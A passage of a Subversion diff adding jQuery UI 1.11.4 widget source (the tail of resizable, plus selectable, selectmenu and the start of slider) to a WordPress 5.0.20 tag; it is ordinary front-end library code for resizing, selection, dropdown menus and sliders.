+		if ( cp.top < ( that._helper ? co.top : 0 ) ) {
+			that.size.height = that.size.height +
+				( that._helper ?
+					( that.position.top - co.top ) :
+					that.position.top );
+
+			if ( pRatio ) {
+				that.size.width = that.size.height * that.aspectRatio;
+				continueResize = false;
+			}
+			that.position.top = that._helper ? co.top : 0;
+		}
+
+		isParent = that.containerElement.get( 0 ) === that.element.parent().get( 0 );
+		isOffsetRelative = /relative|absolute/.test( that.containerElement.css( "position" ) );
+
+		if ( isParent && isOffsetRelative ) {
+			that.offset.left = that.parentData.left + that.position.left;
+			that.offset.top = that.parentData.top + that.position.top;
+		} else {
+			that.offset.left = that.element.offset().left;
+			that.offset.top = that.element.offset().top;
+		}
+
+		woset = Math.abs( that.sizeDiff.width +
+			(that._helper ?
+				that.offset.left - cop.left :
+				(that.offset.left - co.left)) );
+
+		hoset = Math.abs( that.sizeDiff.height +
+			(that._helper ?
+				that.offset.top - cop.top :
+				(that.offset.top - co.top)) );
+
+		if ( woset + that.size.width >= that.parentData.width ) {
+			that.size.width = that.parentData.width - woset;
+			if ( pRatio ) {
+				that.size.height = that.size.width / that.aspectRatio;
+				continueResize = false;
+			}
+		}
+
+		if ( hoset + that.size.height >= that.parentData.height ) {
+			that.size.height = that.parentData.height - hoset;
+			if ( pRatio ) {
+				that.size.width = that.size.height * that.aspectRatio;
+				continueResize = false;
+			}
+		}
+
+		if ( !continueResize ) {
+			that.position.left = that.prevPosition.left;
+			that.position.top = that.prevPosition.top;
+			that.size.width = that.prevSize.width;
+			that.size.height = that.prevSize.height;
+		}
+	},
+
+	stop: function() {
+		var that = $( this ).resizable( "instance" ),
+			o = that.options,
+			co = that.containerOffset,
+			cop = that.containerPosition,
+			ce = that.containerElement,
+			helper = $( that.helper ),
+			ho = helper.offset(),
+			w = helper.outerWidth() - that.sizeDiff.width,
+			h = helper.outerHeight() - that.sizeDiff.height;
+
+		if ( that._helper && !o.animate && ( /relative/ ).test( ce.css( "position" ) ) ) {
+			$( this ).css({
+				left: ho.left - cop.left - co.left,
+				width: w,
+				height: h
+			});
+		}
+
+		if ( that._helper && !o.animate && ( /static/ ).test( ce.css( "position" ) ) ) {
+			$( this ).css({
+				left: ho.left - cop.left - co.left,
+				width: w,
+				height: h
+			});
+		}
+	}
+});
+
+$.ui.plugin.add("resizable", "alsoResize", {
+
+	start: function() {
+		var that = $(this).resizable( "instance" ),
+			o = that.options;
+
+		$(o.alsoResize).each(function() {
+			var el = $(this);
+			el.data("ui-resizable-alsoresize", {
+				width: parseInt(el.width(), 10), height: parseInt(el.height(), 10),
+				left: parseInt(el.css("left"), 10), top: parseInt(el.css("top"), 10)
+			});
+		});
+	},
+
+	resize: function(event, ui) {
+		var that = $(this).resizable( "instance" ),
+			o = that.options,
+			os = that.originalSize,
+			op = that.originalPosition,
+			delta = {
+				height: (that.size.height - os.height) || 0,
+				width: (that.size.width - os.width) || 0,
+				top: (that.position.top - op.top) || 0,
+				left: (that.position.left - op.left) || 0
+			};
+
+			$(o.alsoResize).each(function() {
+				var el = $(this), start = $(this).data("ui-resizable-alsoresize"), style = {},
+					css = el.parents(ui.originalElement[0]).length ?
+							[ "width", "height" ] :
+							[ "width", "height", "top", "left" ];
+
+				$.each(css, function(i, prop) {
+					var sum = (start[prop] || 0) + (delta[prop] || 0);
+					if (sum && sum >= 0) {
+						style[prop] = sum || null;
+					}
+				});
+
+				el.css(style);
+			});
+	},
+
+	stop: function() {
+		$(this).removeData("resizable-alsoresize");
+	}
+});
+
+$.ui.plugin.add("resizable", "ghost", {
+
+	start: function() {
+
+		var that = $(this).resizable( "instance" ), o = that.options, cs = that.size;
+
+		that.ghost = that.originalElement.clone();
+		that.ghost
+			.css({
+				opacity: 0.25,
+				display: "block",
+				position: "relative",
+				height: cs.height,
+				width: cs.width,
+				margin: 0,
+				left: 0,
+				top: 0
+			})
+			.addClass("ui-resizable-ghost")
+			.addClass(typeof o.ghost === "string" ? o.ghost : "");
+
+		that.ghost.appendTo(that.helper);
+
+	},
+
+	resize: function() {
+		var that = $(this).resizable( "instance" );
+		if (that.ghost) {
+			that.ghost.css({
+				position: "relative",
+				height: that.size.height,
+				width: that.size.width
+			});
+		}
+	},
+
+	stop: function() {
+		var that = $(this).resizable( "instance" );
+		if (that.ghost && that.helper) {
+			that.helper.get(0).removeChild(that.ghost.get(0));
+		}
+	}
+
+});
+
+$.ui.plugin.add("resizable", "grid", {
+
+	resize: function() {
+		var outerDimensions,
+			that = $(this).resizable( "instance" ),
+			o = that.options,
+			cs = that.size,
+			os = that.originalSize,
+			op = that.originalPosition,
+			a = that.axis,
+			grid = typeof o.grid === "number" ? [ o.grid, o.grid ] : o.grid,
+			gridX = (grid[0] || 1),
+			gridY = (grid[1] || 1),
+			ox = Math.round((cs.width - os.width) / gridX) * gridX,
+			oy = Math.round((cs.height - os.height) / gridY) * gridY,
+			newWidth = os.width + ox,
+			newHeight = os.height + oy,
+			isMaxWidth = o.maxWidth && (o.maxWidth < newWidth),
+			isMaxHeight = o.maxHeight && (o.maxHeight < newHeight),
+			isMinWidth = o.minWidth && (o.minWidth > newWidth),
+			isMinHeight = o.minHeight && (o.minHeight > newHeight);
+
+		o.grid = grid;
+
+		if (isMinWidth) {
+			newWidth += gridX;
+		}
+		if (isMinHeight) {
+			newHeight += gridY;
+		}
+		if (isMaxWidth) {
+			newWidth -= gridX;
+		}
+		if (isMaxHeight) {
+			newHeight -= gridY;
+		}
+
+		if (/^(se|s|e)$/.test(a)) {
+			that.size.width = newWidth;
+			that.size.height = newHeight;
+		} else if (/^(ne)$/.test(a)) {
+			that.size.width = newWidth;
+			that.size.height = newHeight;
+			that.position.top = op.top - oy;
+		} else if (/^(sw)$/.test(a)) {
+			that.size.width = newWidth;
+			that.size.height = newHeight;
+			that.position.left = op.left - ox;
+		} else {
+			if ( newHeight - gridY <= 0 || newWidth - gridX <= 0) {
+				outerDimensions = that._getPaddingPlusBorderDimensions( this );
+			}
+
+			if ( newHeight - gridY > 0 ) {
+				that.size.height = newHeight;
+				that.position.top = op.top - oy;
+			} else {
+				newHeight = gridY - outerDimensions.height;
+				that.size.height = newHeight;
+				that.position.top = op.top + os.height - newHeight;
+			}
+			if ( newWidth - gridX > 0 ) {
+				that.size.width = newWidth;
+				that.position.left = op.left - ox;
+			} else {
+				newWidth = gridX - outerDimensions.width;
+				that.size.width = newWidth;
+				that.position.left = op.left + os.width - newWidth;
+			}
+		}
+	}
+
+});
+
+return $.ui.resizable;
+
+}));
Index: /tags/5.0.20/src/wp-includes/js/jquery/ui/selectable.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/jquery/ui/selectable.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/jquery/ui/selectable.js	(revision 56912)
@@ -0,0 +1,287 @@
+/*!
+ * jQuery UI Selectable 1.11.4
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ *
+ * http://api.jqueryui.com/selectable/
+ */
+(function( factory ) {
+	if ( typeof define === "function" && define.amd ) {
+
+		// AMD. Register as an anonymous module.
+		define([
+			"jquery",
+			"./core",
+			"./mouse",
+			"./widget"
+		], factory );
+	} else {
+
+		// Browser globals
+		factory( jQuery );
+	}
+}(function( $ ) {
+
+return $.widget("ui.selectable", $.ui.mouse, {
+	version: "1.11.4",
+	options: {
+		appendTo: "body",
+		autoRefresh: true,
+		distance: 0,
+		filter: "*",
+		tolerance: "touch",
+
+		// callbacks
+		selected: null,
+		selecting: null,
+		start: null,
+		stop: null,
+		unselected: null,
+		unselecting: null
+	},
+	_create: function() {
+		var selectees,
+			that = this;
+
+		this.element.addClass("ui-selectable");
+
+		this.dragged = false;
+
+		// cache selectee children based on filter
+		this.refresh = function() {
+			selectees = $(that.options.filter, that.element[0]);
+			selectees.addClass("ui-selectee");
+			selectees.each(function() {
+				var $this = $(this),
+					pos = $this.offset();
+				$.data(this, "selectable-item", {
+					element: this,
+					$element: $this,
+					left: pos.left,
+					top: pos.top,
+					right: pos.left + $this.outerWidth(),
+					bottom: pos.top + $this.outerHeight(),
+					startselected: false,
+					selected: $this.hasClass("ui-selected"),
+					selecting: $this.hasClass("ui-selecting"),
+					unselecting: $this.hasClass("ui-unselecting")
+				});
+			});
+		};
+		this.refresh();
+
+		this.selectees = selectees.addClass("ui-selectee");
+
+		this._mouseInit();
+
+		this.helper = $("<div class='ui-selectable-helper'></div>");
+	},
+
+	_destroy: function() {
+		this.selectees
+			.removeClass("ui-selectee")
+			.removeData("selectable-item");
+		this.element
+			.removeClass("ui-selectable ui-selectable-disabled");
+		this._mouseDestroy();
+	},
+
+	_mouseStart: function(event) {
+		var that = this,
+			options = this.options;
+
+		this.opos = [ event.pageX, event.pageY ];
+
+		if (this.options.disabled) {
+			return;
+		}
+
+		this.selectees = $(options.filter, this.element[0]);
+
+		this._trigger("start", event);
+
+		$(options.appendTo).append(this.helper);
+		// position helper (lasso)
+		this.helper.css({
+			"left": event.pageX,
+			"top": event.pageY,
+			"width": 0,
+			"height": 0
+		});
+
+		if (options.autoRefresh) {
+			this.refresh();
+		}
+
+		this.selectees.filter(".ui-selected").each(function() {
+			var selectee = $.data(this, "selectable-item");
+			selectee.startselected = true;
+			if (!event.metaKey && !event.ctrlKey) {
+				selectee.$element.removeClass("ui-selected");
+				selectee.selected = false;
+				selectee.$element.addClass("ui-unselecting");
+				selectee.unselecting = true;
+				// selectable UNSELECTING callback
+				that._trigger("unselecting", event, {
+					unselecting: selectee.element
+				});
+			}
+		});
+
+		$(event.target).parents().addBack().each(function() {
+			var doSelect,
+				selectee = $.data(this, "selectable-item");
+			if (selectee) {
+				doSelect = (!event.metaKey && !event.ctrlKey) || !selectee.$element.hasClass("ui-selected");
+				selectee.$element
+					.removeClass(doSelect ? "ui-unselecting" : "ui-selected")
+					.addClass(doSelect ? "ui-selecting" : "ui-unselecting");
+				selectee.unselecting = !doSelect;
+				selectee.selecting = doSelect;
+				selectee.selected = doSelect;
+				// selectable (UN)SELECTING callback
+				if (doSelect) {
+					that._trigger("selecting", event, {
+						selecting: selectee.element
+					});
+				} else {
+					that._trigger("unselecting", event, {
+						unselecting: selectee.element
+					});
+				}
+				return false;
+			}
+		});
+
+	},
+
+	_mouseDrag: function(event) {
+
+		this.dragged = true;
+
+		if (this.options.disabled) {
+			return;
+		}
+
+		var tmp,
+			that = this,
+			options = this.options,
+			x1 = this.opos[0],
+			y1 = this.opos[1],
+			x2 = event.pageX,
+			y2 = event.pageY;
+
+		if (x1 > x2) { tmp = x2; x2 = x1; x1 = tmp; }
+		if (y1 > y2) { tmp = y2; y2 = y1; y1 = tmp; }
+		this.helper.css({ left: x1, top: y1, width: x2 - x1, height: y2 - y1 });
+
+		this.selectees.each(function() {
+			var selectee = $.data(this, "selectable-item"),
+				hit = false;
+
+			//prevent helper from being selected if appendTo: selectable
+			if (!selectee || selectee.element === that.element[0]) {
+				return;
+			}
+
+			if (options.tolerance === "touch") {
+				hit = ( !(selectee.left > x2 || selectee.right < x1 || selectee.top > y2 || selectee.bottom < y1) );
+			} else if (options.tolerance === "fit") {
+				hit = (selectee.left > x1 && selectee.right < x2 && selectee.top > y1 && selectee.bottom < y2);
+			}
+
+			if (hit) {
+				// SELECT
+				if (selectee.selected) {
+					selectee.$element.removeClass("ui-selected");
+					selectee.selected = false;
+				}
+				if (selectee.unselecting) {
+					selectee.$element.removeClass("ui-unselecting");
+					selectee.unselecting = false;
+				}
+				if (!selectee.selecting) {
+					selectee.$element.addClass("ui-selecting");
+					selectee.selecting = true;
+					// selectable SELECTING callback
+					that._trigger("selecting", event, {
+						selecting: selectee.element
+					});
+				}
+			} else {
+				// UNSELECT
+				if (selectee.selecting) {
+					if ((event.metaKey || event.ctrlKey) && selectee.startselected) {
+						selectee.$element.removeClass("ui-selecting");
+						selectee.selecting = false;
+						selectee.$element.addClass("ui-selected");
+						selectee.selected = true;
+					} else {
+						selectee.$element.removeClass("ui-selecting");
+						selectee.selecting = false;
+						if (selectee.startselected) {
+							selectee.$element.addClass("ui-unselecting");
+							selectee.unselecting = true;
+						}
+						// selectable UNSELECTING callback
+						that._trigger("unselecting", event, {
+							unselecting: selectee.element
+						});
+					}
+				}
+				if (selectee.selected) {
+					if (!event.metaKey && !event.ctrlKey && !selectee.startselected) {
+						selectee.$element.removeClass("ui-selected");
+						selectee.selected = false;
+
+						selectee.$element.addClass("ui-unselecting");
+						selectee.unselecting = true;
+						// selectable UNSELECTING callback
+						that._trigger("unselecting", event, {
+							unselecting: selectee.element
+						});
+					}
+				}
+			}
+		});
+
+		return false;
+	},
+
+	_mouseStop: function(event) {
+		var that = this;
+
+		this.dragged = false;
+
+		$(".ui-unselecting", this.element[0]).each(function() {
+			var selectee = $.data(this, "selectable-item");
+			selectee.$element.removeClass("ui-unselecting");
+			selectee.unselecting = false;
+			selectee.startselected = false;
+			that._trigger("unselected", event, {
+				unselected: selectee.element
+			});
+		});
+		$(".ui-selecting", this.element[0]).each(function() {
+			var selectee = $.data(this, "selectable-item");
+			selectee.$element.removeClass("ui-selecting").addClass("ui-selected");
+			selectee.selecting = false;
+			selectee.selected = true;
+			selectee.startselected = true;
+			that._trigger("selected", event, {
+				selected: selectee.element
+			});
+		});
+		this._trigger("stop", event);
+
+		this.helper.remove();
+
+		return false;
+	}
+
+});
+
+}));
Index: /tags/5.0.20/src/wp-includes/js/jquery/ui/selectmenu.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/jquery/ui/selectmenu.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/jquery/ui/selectmenu.js	(revision 56912)
@@ -0,0 +1,615 @@
+/*!
+ * jQuery UI Selectmenu 1.11.4
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ *
+ * http://api.jqueryui.com/selectmenu
+ */
+(function( factory ) {
+	if ( typeof define === "function" && define.amd ) {
+
+		// AMD. Register as an anonymous module.
+		define([
+			"jquery",
+			"./core",
+			"./widget",
+			"./position",
+			"./menu"
+		], factory );
+	} else {
+
+		// Browser globals
+		factory( jQuery );
+	}
+}(function( $ ) {
+
+return $.widget( "ui.selectmenu", {
+	version: "1.11.4",
+	defaultElement: "<select>",
+	options: {
+		appendTo: null,
+		disabled: null,
+		icons: {
+			button: "ui-icon-triangle-1-s"
+		},
+		position: {
+			my: "left top",
+			at: "left bottom",
+			collision: "none"
+		},
+		width: null,
+
+		// callbacks
+		change: null,
+		close: null,
+		focus: null,
+		open: null,
+		select: null
+	},
+
+	_create: function() {
+		var selectmenuId = this.element.uniqueId().attr( "id" );
+		this.ids = {
+			element: selectmenuId,
+			button: selectmenuId + "-button",
+			menu: selectmenuId + "-menu"
+		};
+
+		this._drawButton();
+		this._drawMenu();
+
+		if ( this.options.disabled ) {
+			this.disable();
+		}
+	},
+
+	_drawButton: function() {
+		var that = this;
+
+		// Associate existing label with the new button
+		this.label = $( "label[for='" + this.ids.element + "']" ).attr( "for", this.ids.button );
+		this._on( this.label, {
+			click: function( event ) {
+				this.button.focus();
+				event.preventDefault();
+			}
+		});
+
+		// Hide original select element
+		this.element.hide();
+
+		// Create button
+		this.button = $( "<span>", {
+			"class": "ui-selectmenu-button ui-widget ui-state-default ui-corner-all",
+			tabindex: this.options.disabled ? -1 : 0,
+			id: this.ids.button,
+			role: "combobox",
+			"aria-expanded": "false",
+			"aria-autocomplete": "list",
+			"aria-owns": this.ids.menu,
+			"aria-haspopup": "true"
+		})
+			.insertAfter( this.element );
+
+		$( "<span>", {
+			"class": "ui-icon " + this.options.icons.button
+		})
+			.prependTo( this.button );
+
+		this.buttonText = $( "<span>", {
+			"class": "ui-selectmenu-text"
+		})
+			.appendTo( this.button );
+
+		this._setText( this.buttonText, this.element.find( "option:selected" ).text() );
+		this._resizeButton();
+
+		this._on( this.button, this._buttonEvents );
+		this.button.one( "focusin", function() {
+
+			// Delay rendering the menu items until the button receives focus.
+			// The menu may have already been rendered via a programmatic open.
+			if ( !that.menuItems ) {
+				that._refreshMenu();
+			}
+		});
+		this._hoverable( this.button );
+		this._focusable( this.button );
+	},
+
+	_drawMenu: function() {
+		var that = this;
+
+		// Create menu
+		this.menu = $( "<ul>", {
+			"aria-hidden": "true",
+			"aria-labelledby": this.ids.button,
+			id: this.ids.menu
+		});
+
+		// Wrap menu
+		this.menuWrap = $( "<div>", {
+			"class": "ui-selectmenu-menu ui-front"
+		})
+			.append( this.menu )
+			.appendTo( this._appendTo() );
+
+		// Initialize menu widget
+		this.menuInstance = this.menu
+			.menu({
+				role: "listbox",
+				select: function( event, ui ) {
+					event.preventDefault();
+
+					// support: IE8
+					// If the item was selected via a click, the text selection
+					// will be destroyed in IE
+					that._setSelection();
+
+					that._select( ui.item.data( "ui-selectmenu-item" ), event );
+				},
+				focus: function( event, ui ) {
+					var item = ui.item.data( "ui-selectmenu-item" );
+
+					// Prevent inital focus from firing and check if its a newly focused item
+					if ( that.focusIndex != null && item.index !== that.focusIndex ) {
+						that._trigger( "focus", event, { item: item } );
+						if ( !that.isOpen ) {
+							that._select( item, event );
+						}
+					}
+					that.focusIndex = item.index;
+
+					that.button.attr( "aria-activedescendant",
+						that.menuItems.eq( item.index ).attr( "id" ) );
+				}
+			})
+			.menu( "instance" );
+
+		// Adjust menu styles to dropdown
+		this.menu
+			.addClass( "ui-corner-bottom" )
+			.removeClass( "ui-corner-all" );
+
+		// Don't close the menu on mouseleave
+		this.menuInstance._off( this.menu, "mouseleave" );
+
+		// Cancel the menu's collapseAll on document click
+		this.menuInstance._closeOnDocumentClick = function() {
+			return false;
+		};
+
+		// Selects often contain empty items, but never contain dividers
+		this.menuInstance._isDivider = function() {
+			return false;
+		};
+	},
+
+	refresh: function() {
+		this._refreshMenu();
+		this._setText( this.buttonText, this._getSelectedItem().text() );
+		if ( !this.options.width ) {
+			this._resizeButton();
+		}
+	},
+
+	_refreshMenu: function() {
+		this.menu.empty();
+
+		var item,
+			options = this.element.find( "option" );
+
+		if ( !options.length ) {
+			return;
+		}
+
+		this._parseOptions( options );
+		this._renderMenu( this.menu, this.items );
+
+		this.menuInstance.refresh();
+		this.menuItems = this.menu.find( "li" ).not( ".ui-selectmenu-optgroup" );
+
+		item = this._getSelectedItem();
+
+		// Update the menu to have the correct item focused
+		this.menuInstance.focus( null, item );
+		this._setAria( item.data( "ui-selectmenu-item" ) );
+
+		// Set disabled state
+		this._setOption( "disabled", this.element.prop( "disabled" ) );
+	},
+
+	open: function( event ) {
+		if ( this.options.disabled ) {
+			return;
+		}
+
+		// If this is the first time the menu is being opened, render the items
+		if ( !this.menuItems ) {
+			this._refreshMenu();
+		} else {
+
+			// Menu clears focus on close, reset focus to selected item
+			this.menu.find( ".ui-state-focus" ).removeClass( "ui-state-focus" );
+			this.menuInstance.focus( null, this._getSelectedItem() );
+		}
+
+		this.isOpen = true;
+		this._toggleAttr();
+		this._resizeMenu();
+		this._position();
+
+		this._on( this.document, this._documentClick );
+
+		this._trigger( "open", event );
+	},
+
+	_position: function() {
+		this.menuWrap.position( $.extend( { of: this.button }, this.options.position ) );
+	},
+
+	close: function( event ) {
+		if ( !this.isOpen ) {
+			return;
+		}
+
+		this.isOpen = false;
+		this._toggleAttr();
+
+		this.range = null;
+		this._off( this.document );
+
+		this._trigger( "close", event );
+	},
+
+	widget: function() {
+		return this.button;
+	},
+
+	menuWidget: function() {
+		return this.menu;
+	},
+
+	_renderMenu: function( ul, items ) {
+		var that = this,
+			currentOptgroup = "";
+
+		$.each( items, function( index, item ) {
+			if ( item.optgroup !== currentOptgroup ) {
+				$( "<li>", {
+					"class": "ui-selectmenu-optgroup ui-menu-divider" +
+						( item.element.parent( "optgroup" ).prop( "disabled" ) ?
+							" ui-state-disabled" :
+							"" ),
+					text: item.optgroup
+				})
+					.appendTo( ul );
+
+				currentOptgroup = item.optgroup;
+			}
+
+			that._renderItemData( ul, item );
+		});
+	},
+
+	_renderItemData: function( ul, item ) {
+		return this._renderItem( ul, item ).data( "ui-selectmenu-item", item );
+	},
+
+	_renderItem: function( ul, item ) {
+		var li = $( "<li>" );
+
+		if ( item.disabled ) {
+			li.addClass( "ui-state-disabled" );
+		}
+		this._setText( li, item.label );
+
+		return li.appendTo( ul );
+	},
+
+	_setText: function( element, value ) {
+		if ( value ) {
+			element.text( value );
+		} else {
+			element.html( "&#160;" );
+		}
+	},
+
+	_move: function( direction, event ) {
+		var item, next,
+			filter = ".ui-menu-item";
+
+		if ( this.isOpen ) {
+			item = this.menuItems.eq( this.focusIndex );
+		} else {
+			item = this.menuItems.eq( this.element[ 0 ].selectedIndex );
+			filter += ":not(.ui-state-disabled)";
+		}
+
+		if ( direction === "first" || direction === "last" ) {
+			next = item[ direction === "first" ? "prevAll" : "nextAll" ]( filter ).eq( -1 );
+		} else {
+			next = item[ direction + "All" ]( filter ).eq( 0 );
+		}
+
+		if ( next.length ) {
+			this.menuInstance.focus( event, next );
+		}
+	},
+
+	_getSelectedItem: function() {
+		return this.menuItems.eq( this.element[ 0 ].selectedIndex );
+	},
+
+	_toggle: function( event ) {
+		this[ this.isOpen ? "close" : "open" ]( event );
+	},
+
+	_setSelection: function() {
+		var selection;
+
+		if ( !this.range ) {
+			return;
+		}
+
+		if ( window.getSelection ) {
+			selection = window.getSelection();
+			selection.removeAllRanges();
+			selection.addRange( this.range );
+
+		// support: IE8
+		} else {
+			this.range.select();
+		}
+
+		// support: IE
+		// Setting the text selection kills the button focus in IE, but
+		// restoring the focus doesn't kill the selection.
+		this.button.focus();
+	},
+
+	_documentClick: {
+		mousedown: function( event ) {
+			if ( !this.isOpen ) {
+				return;
+			}
+
+			if ( !$( event.target ).closest( ".ui-selectmenu-menu, #" + this.ids.button ).length ) {
+				this.close( event );
+			}
+		}
+	},
+
+	_buttonEvents: {
+
+		// Prevent text selection from being reset when interacting with the selectmenu (#10144)
+		mousedown: function() {
+			var selection;
+
+			if ( window.getSelection ) {
+				selection = window.getSelection();
+				if ( selection.rangeCount ) {
+					this.range = selection.getRangeAt( 0 );
+				}
+
+			// support: IE8
+			} else {
+				this.range = document.selection.createRange();
+			}
+		},
+
+		click: function( event ) {
+			this._setSelection();
+			this._toggle( event );
+		},
+
+		keydown: function( event ) {
+			var preventDefault = true;
+			switch ( event.keyCode ) {
+				case $.ui.keyCode.TAB:
+				case $.ui.keyCode.ESCAPE:
+					this.close( event );
+					preventDefault = false;
+					break;
+				case $.ui.keyCode.ENTER:
+					if ( this.isOpen ) {
+						this._selectFocusedItem( event );
+					}
+					break;
+				case $.ui.keyCode.UP:
+					if ( event.altKey ) {
+						this._toggle( event );
+					} else {
+						this._move( "prev", event );
+					}
+					break;
+				case $.ui.keyCode.DOWN:
+					if ( event.altKey ) {
+						this._toggle( event );
+					} else {
+						this._move( "next", event );
+					}
+					break;
+				case $.ui.keyCode.SPACE:
+					if ( this.isOpen ) {
+						this._selectFocusedItem( event );
+					} else {
+						this._toggle( event );
+					}
+					break;
+				case $.ui.keyCode.LEFT:
+					this._move( "prev", event );
+					break;
+				case $.ui.keyCode.RIGHT:
+					this._move( "next", event );
+					break;
+				case $.ui.keyCode.HOME:
+				case $.ui.keyCode.PAGE_UP:
+					this._move( "first", event );
+					break;
+				case $.ui.keyCode.END:
+				case $.ui.keyCode.PAGE_DOWN:
+					this._move( "last", event );
+					break;
+				default:
+					this.menu.trigger( event );
+					preventDefault = false;
+			}
+
+			if ( preventDefault ) {
+				event.preventDefault();
+			}
+		}
+	},
+
+	_selectFocusedItem: function( event ) {
+		var item = this.menuItems.eq( this.focusIndex );
+		if ( !item.hasClass( "ui-state-disabled" ) ) {
+			this._select( item.data( "ui-selectmenu-item" ), event );
+		}
+	},
+
+	_select: function( item, event ) {
+		var oldIndex = this.element[ 0 ].selectedIndex;
+
+		// Change native select element
+		this.element[ 0 ].selectedIndex = item.index;
+		this._setText( this.buttonText, item.label );
+		this._setAria( item );
+		this._trigger( "select", event, { item: item } );
+
+		if ( item.index !== oldIndex ) {
+			this._trigger( "change", event, { item: item } );
+		}
+
+		this.close( event );
+	},
+
+	_setAria: function( item ) {
+		var id = this.menuItems.eq( item.index ).attr( "id" );
+
+		this.button.attr({
+			"aria-labelledby": id,
+			"aria-activedescendant": id
+		});
+		this.menu.attr( "aria-activedescendant", id );
+	},
+
+	_setOption: function( key, value ) {
+		if ( key === "icons" ) {
+			this.button.find( "span.ui-icon" )
+				.removeClass( this.options.icons.button )
+				.addClass( value.button );
+		}
+
+		this._super( key, value );
+
+		if ( key === "appendTo" ) {
+			this.menuWrap.appendTo( this._appendTo() );
+		}
+
+		if ( key === "disabled" ) {
+			this.menuInstance.option( "disabled", value );
+			this.button
+				.toggleClass( "ui-state-disabled", value )
+				.attr( "aria-disabled", value );
+
+			this.element.prop( "disabled", value );
+			if ( value ) {
+				this.button.attr( "tabindex", -1 );
+				this.close();
+			} else {
+				this.button.attr( "tabindex", 0 );
+			}
+		}
+
+		if ( key === "width" ) {
+			this._resizeButton();
+		}
+	},
+
+	_appendTo: function() {
+		var element = this.options.appendTo;
+
+		if ( element ) {
+			element = element.jquery || element.nodeType ?
+				$( element ) :
+				this.document.find( element ).eq( 0 );
+		}
+
+		if ( !element || !element[ 0 ] ) {
+			element = this.element.closest( ".ui-front" );
+		}
+
+		if ( !element.length ) {
+			element = this.document[ 0 ].body;
+		}
+
+		return element;
+	},
+
+	_toggleAttr: function() {
+		this.button
+			.toggleClass( "ui-corner-top", this.isOpen )
+			.toggleClass( "ui-corner-all", !this.isOpen )
+			.attr( "aria-expanded", this.isOpen );
+		this.menuWrap.toggleClass( "ui-selectmenu-open", this.isOpen );
+		this.menu.attr( "aria-hidden", !this.isOpen );
+	},
+
+	_resizeButton: function() {
+		var width = this.options.width;
+
+		if ( !width ) {
+			width = this.element.show().outerWidth();
+			this.element.hide();
+		}
+
+		this.button.outerWidth( width );
+	},
+
+	_resizeMenu: function() {
+		this.menu.outerWidth( Math.max(
+			this.button.outerWidth(),
+
+			// support: IE10
+			// IE10 wraps long text (possibly a rounding bug)
+			// so we add 1px to avoid the wrapping
+			this.menu.width( "" ).outerWidth() + 1
+		) );
+	},
+
+	_getCreateOptions: function() {
+		return { disabled: this.element.prop( "disabled" ) };
+	},
+
+	_parseOptions: function( options ) {
+		var data = [];
+		options.each(function( index, item ) {
+			var option = $( item ),
+				optgroup = option.parent( "optgroup" );
+			data.push({
+				element: option,
+				index: index,
+				value: option.val(),
+				label: option.text(),
+				optgroup: optgroup.attr( "label" ) || "",
+				disabled: optgroup.prop( "disabled" ) || option.prop( "disabled" )
+			});
+		});
+		this.items = data;
+	},
+
+	_destroy: function() {
+		this.menuWrap.remove();
+		this.button.remove();
+		this.element.show();
+		this.element.removeUniqueId();
+		this.label.attr( "for", this.ids.element );
+	}
+});
+
+}));
Index: /tags/5.0.20/src/wp-includes/js/jquery/ui/slider.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/jquery/ui/slider.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/jquery/ui/slider.js	(revision 56912)
@@ -0,0 +1,717 @@
+/*!
+ * jQuery UI Slider 1.11.4
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ *
+ * http://api.jqueryui.com/slider/
+ */
+(function( factory ) {
+	if ( typeof define === "function" && define.amd ) {
+
+		// AMD. Register as an anonymous module.
+		define([
+			"jquery",
+			"./core",
+			"./mouse",
+			"./widget"
+		], factory );
+	} else {
+
+		// Browser globals
+		factory( jQuery );
+	}
+}(function( $ ) {
+
+return $.widget( "ui.slider", $.ui.mouse, {
+	version: "1.11.4",
+	widgetEventPrefix: "slide",
+
+	options: {
+		animate: false,
+		distance: 0,
+		max: 100,
+		min: 0,
+		orientation: "horizontal",
+		range: false,
+		step: 1,
+		value: 0,
+		values: null,
+
+		// callbacks
+		change: null,
+		slide: null,
+		start: null,
+		stop: null
+	},
+
+	// number of pages in a slider
+	// (how many times can you page up/down to go through the whole range)
+	numPages: 5,
+
+	_create: function() {
+		this._keySliding = false;
+		this._mouseSliding = false;
+		this._animateOff = true;
+		this._handleIndex = null;
+		this._detectOrientation();
+		this._mouseInit();
+		this._calculateNewMax();
+
+		this.element
+			.addClass( "ui-slider" +
+				" ui-slider-" + this.orientation +
+				" ui-widget" +
+				" ui-widget-content" +
+				" ui-corner-all");
+
+		this._refresh();
+		this._setOption( "disabled", this.options.disabled );
+
+		this._animateOff = false;
+	},
+
+	_refresh: function() {
+		this._createRange();
+		this._createHandles();
+		this._setupEvents();
+		this._refreshValue();
+	},
+
+	_createHandles: function() {
+		var i, handleCount,
+			options = this.options,
+			existingHandles = this.element.find( ".ui-slider-handle" ).addClass( "ui-state-default ui-corner-all" ),
+			handle = "<span class='ui-slider-handle ui-state-default ui-corner-all' tabindex='0'></span>",
+			handles = [];
+
+		handleCount = ( options.values && options.values.length ) || 1;
+
+		if ( existingHandles.length > handleCount ) {
+			existingHandles.slice( handleCount ).remove();
+			existingHandles = existingHandles.slice( 0, handleCount );
+		}
+
+		for ( i = existingHandles.length; i < handleCount; i++ ) {
+			handles.push( handle );
+		}
+
+		this.handles = existingHandles.add( $( handles.join( "" ) ).appendTo( this.element ) );
+
+		this.handle = this.handles.eq( 0 );
+
+		this.handles.each(function( i ) {
+			$( this ).data( "ui-slider-handle-index", i );
+		});
+	},
+
+	_createRange: function() {
+		var options = this.options,
+			classes = "";
+
+		if ( options.range ) {
+			if ( options.range === true ) {
+				if ( !options.values ) {
+					options.values = [ this._valueMin(), this._valueMin() ];
+				} else if ( options.values.length && options.values.length !== 2 ) {
